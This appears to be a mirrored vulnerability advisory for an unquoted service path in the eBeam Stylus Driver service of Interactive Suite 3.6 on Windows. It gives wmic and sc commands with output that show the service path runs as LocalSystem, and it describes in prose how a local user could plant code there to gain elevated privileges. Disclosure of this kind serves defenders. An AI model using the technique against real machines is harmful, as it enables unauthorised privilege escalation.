Interactive suite 3.6 ebeam stylus driver unquoted service path Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2021-03-15 | Type : local | Platform : windows
This exploit / vulnerability Interactive suite 3.6 ebeam stylus driver unquoted service path is for educational purposes only and if it is used you will do on your own risk!

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# Exploit Title: Interactive Suite 3.6 - 'eBeam Stylus Driver' Unquoted Service Path
# Discovery by: Luis Martinez
# Discovery Date: 2021-03-14
# Vendor Homepage: https://www.luidia.com
# Software Link: http://down.myequil.com/dn/setup/ScrapBook_win/down.html
# Tested Version: 3.6
# Tested on OS: Windows 10 Pro x64 es

# Step to discover Unquoted Service Path:

C:\>wmic service get name, pathname, displayname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "eBeam" | findstr /i /v """


eBeam Stylus Driver eBeam Stylus Driver C:\Program Files (x86)\Luidia\eBeam Stylus Driver\eBeam_Stylus_Driver.exe Auto


# Service info:

C:\>sc qc "eBeam Stylus Driver"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: eBeam Stylus Driver
TYPE : 110 WIN32_OWN_PROCESS (interactive)
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\Luidia\eBeam Stylus Driver\eBeam_Stylus_Driver.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : eBeam Stylus Driver
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

#Exploit:

A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.